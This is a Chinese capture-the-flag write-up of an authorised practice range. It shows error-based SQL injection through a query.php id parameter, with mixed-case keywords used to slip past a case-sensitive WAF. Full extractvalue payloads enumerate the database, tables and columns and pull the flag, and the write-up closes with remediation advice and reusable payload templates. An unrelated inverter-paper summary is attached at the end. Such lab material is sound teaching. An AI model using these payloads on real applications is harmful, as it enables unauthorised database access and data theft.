白帽江湖实战靶场SQL注入篇:SQL注入 - 报错注入(大小写过滤)

SQL注入:报错注入(大小写绕过)靶场通关记录

靶场地址:白帽江湖 SQL注入:报错注入(大小写绕过)

说明:本文仅记录在该授权靶场中的测试过程,用于学习报错型 SQL 注入结合大小写绕过 WAF 的思路。

1. 题目分析

靶场描述:

企业新闻平台增加了基础WAF防护,对union、select、extractvalue等常见SQL注入关键词进行了过滤拦截。但过滤规则存在大小写敏感缺陷,尝试利用大小写混写绕过WAF获取flag。

核心信息:

  • 注入类型:报错注入
  • WAF类型:关键词检测(基础版),大小写敏感
  • 绕过方式:大小写混写(如 SeLeCteXtRaCtVaLuE

2. 信息收集

2.1 页面初探

打开靶场后,页面标题是"星耀资讯 - 企业内部新闻平台",内容区展示了几篇文章列表:

  • 年度优秀员工评选
  • 服务器迁移计划
  • 新员工入职培训通知
  • Q1季度安全审计报告
  • 公司2026年度战略规划发布

页面顶部有安全提示:⚠️ 安全防护已开启:关键词检测(基础版)

2.2 定位接口

通过查看页面源码,发现文章通过 loadArticle(id) 函数加载,核心请求为:

fetch('query.php?id=' + encodeURIComponent(id))

因此注入点在 query.phpid 参数。

3. 注入点确认

3.1 正常访问

GET /query.php?id=1

返回正常文章数据:

{"code":0,"data":{"id":1,"title":"公司2026年度战略规划发布",...}}

3.2 单引号测试

GET /query.php?id=1'

返回数据库报错,确认存在注入:

{"code":1,"msg":"Database Error: SQLSTATE[42000]: ... near ''' at line 1"}

4. WAF探测

4.1 测试 union 关键字

GET /query.php?id=1 union select 1,2,3,4,5,6,7

被拦截:

{"code":1,"msg":"⚠️ 安全警告:检测到危险关键词 [union],请求已被拦截"}

4.2 大小写绕过测试

GET /query.php?id=1 UnIoN SeLeCt 1,2,3,4,5,6,7

成功绕过,返回正常数据!

4.3 测试其他关键词

关键词原始写法大小写绕过结果
union被拦截UnIoN通过
select被拦截SeLeCt通过
extractvalue被拦截eXtRaCtVaLuE通过
updatexmlupdate被拦截未测试(update被拦截)-

WAF 的过滤规则是全小写匹配,因此大小写混写即可绕过。

注:updatexml 因为包含子串 update 也被拦截,但 extractvalue 大小写绕过可用,所以选择 extractvalue 作为报错函数。

5. 报错注入获取数据

5.1 获取数据库名

使用 extractvalue 函数触发 XPath 报错,通过 concat 拼接目标数据:

GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT database()),0x7e))

返回:

XPATH syntax error: '~vuln_db~'

当前数据库名为:vuln_db

5.2 获取表名

information_schema.tables 中枚举当前库的所有表:

GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(table_name) fRoM information_schema.tables wHeRe table_schema=database()),0x7e))

返回:

XPATH syntax error: '~secret_flags,articles~'

两张表:secret_flagsarticles

其中 secret_flags 很可能存储着 flag。

5.3 获取字段名

查看 secret_flags 表的列结构:

GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(column_name) fRoM information_schema.columns wHeRe table_name=0x7365637265745f666c616773),0x7e))

注:secret_flags 使用十六进制编码 0x7365637265745f666c616773 以避免字符串引号问题。

返回:

XPATH syntax error: '~id,flag_name,flag_value~'

三个字段:id, flag_name, flag_value

5.4 获取 flag

直接查询 secret_flags 表中的数据:

GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(flag_name,0x3a,flag_value) fRoM secret_flags),0x7e))

返回被截断(extractvalue 默认输出长度限制为 32 字符),改为只查 flag_value:

GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT flag_value fRoM secret_flags wHeRe flag_name='flag'),0x7e))

返回:

XPATH syntax error: '~flag{err0r_c4s3_s3ns1t1v3}~'

6. 结果

最终 Flag:

flag{err0r_c4s3_s3ns1t1v3}

7. 完整攻击链复盘

页面分析 → 定位 query.php?id= 接口
  ↓
单引号测试 → 确认 SQL 注入点
  ↓
WAF 探测 → 发现 union/select/extractvalue 被全小写匹配过滤
  ↓
大小写绕 WAF → UnIoN / SeLeCt / eXtRaCtVaLuE 绕过检测
  ↓
报错注入 → extractvalue 触发 XPath 错误回显
  ↓
database() → 获取库名 vuln_db
  ↓
information_schema.tables → 获取表名 secret_flags
  ↓
information_schema.columns → 获取字段名 flag_name, flag_value
  ↓
查询 secret_flags → 获取 flag{err0r_c4s3_s3ns1t1v3}

8. 关键点总结

8.1 WAF 绕过技巧

本题 WAF 的过滤规则是基于全小写关键词匹配,实现简单但有明显缺陷:

  • 检测到 union → 拦截,但 UnIoN 不匹配小写规则 → 放过
  • 检测到 select → 拦截,但 SeLeCt 不匹配 → 放过
  • 检测到 extractvalue → 拦截,但 eXtRaCtVaLuE 不匹配 → 放过

8.2 绕过方式汇总

SQL 关键字原始写法绕过写法
SELECTselectSeLeCt, sElEcT, SELECT
UNIONunionUnIoN, uNiOn
FROMfromfRoM, FrOm
WHEREwherewHeRe, WhErE
EXTRACTVALUEextractvalueeXtRaCtVaLuE
GROUP_CONCATgroup_concatgRoUp_cOnCaT

8.3 extractvalue 长度限制

extractvalue() 报错输出默认最大长度为 32 字符,当拼接的数据超过该长度时会被截断。如果 flag 较长,可以通过以下方式解决:

  1. 直接查单个字段(本题使用的方法):SELECT flag_value FROM secret_flags WHERE flag_name='flag'
  2. 使用 substr 分段截取substr(flag_value, 1, 32)substr(flag_value, 32, 64)
  3. 使用 updatexml(如果没被拦截):updatexml() 同样有 32 字符限制

9. 防御建议

针对此类攻击,防御方应该:

  1. 不依赖大小写过滤:使用不区分大小写的匹配方式(如转换为统一大小写后再匹配)
  2. 使用参数化查询:从根本上杜绝 SQL 注入
  3. 关闭错误回显:生产环境不应暴露数据库错误信息
  4. 使用正则表达式检测:如 /\b(union|select|extractvalue)\b/i 加上 i 标志进行大小写不敏感匹配

10. 可直接复用的 payload 模板

大小写绕过测试

?id=1 UnIoN SeLeCt 1,2,3

获取数据库名

?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT database()),0x7e))

枚举表名

?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(table_name) fRoM information_schema.tables wHeRe table_schema=database()),0x7e))

枚举字段名

?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(column_name) fRoM information_schema.columns wHeRe table_name='表名'),0x7e))

获取数据

?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(字段名) fRoM 表名),0x7e))
内容概要:本文针对传统三电平并网逆变器在谐波抑制、电网不平衡工况适应性及动态响应方面的不足,提出以有源中点箝位(ANPC)三电平逆变器为核心,融合双极性倍频脉宽调制(DPWMA)、正负序分离锁相及电网电压前馈控制的一体化高性能并网控制策略。通过分析ANPC拓扑在开关损耗均衡、中点电位稳定和输出波形质量方面的硬件优势,结合DPWMA调制提升等效开关频率以降低谐波,利用正负序分离技术实现不平衡电网下的精准锁相,并引入电网电压前馈控制以克服传统闭环控制的滞后性,提升动态抗扰能力。通过仿真模型对稳态、电网不平衡和动态扰动工况进行验证,结果表明该复合控制策略能显著降低并网谐波、提升锁相精度与系统稳定性,适用于新能源并网等复杂应用场景。; 适合人群:具备电力电子与电力系统基础知识,从事新能源并网、逆变器控制、电能质量优化等相关领域的研究生、科研人员及工程技术人员。; 使用场景及目标:① 提升大功率并网逆变器在电网电压不平衡、畸变等复杂工况下的运行稳定性;② 优化并网电流波形质量,降低总谐波畸变率;③ 改善系统动态响应能力,应对电压骤升骤降等扰动;④ 为ANPC逆变器在新能源发电、工业变频等场景中的高性能控制提供仿真与设计参考。; 阅读建议:建议结合Simulink仿真模型,深入理解DPWMA调制实现、正负序分离锁相算法及前馈-反馈复合控制结构的设计逻辑,重点关注多策略协同作用下的性能提升机制,并通过复现实验验证不同工况下的控制效果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值